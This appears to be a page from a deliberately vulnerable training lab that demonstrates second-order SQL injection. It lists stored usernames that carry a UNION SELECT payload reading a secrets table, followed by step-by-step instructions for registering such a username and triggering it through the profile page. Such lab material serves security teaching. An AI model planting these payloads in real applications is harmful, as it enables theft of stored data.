/second-order · sink: stored input -> later string-concatenated SELECT
Registration is parameterized; profile view re-uses stored input unsafely.
| id | username |
|---|---|
| 10 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#1778710015005545134 |
| 9 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#1778705603853295925 |
| 8 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#1778705065372454209 |
| 7 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'#1778705036868448737 |
| 5 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# |
| 4 | ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'-- |
| 3 | carol |
| 2 | bob |
| 1 | alice |
Register a user whose username is itself a SQL payload, e.g. ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# (use # not `-- ` because the register handler strips trailing whitespace). Then visit /second-order/profile?id=<your new id> — the profile page joins notes by username via string concatenation, and your stored payload finally fires.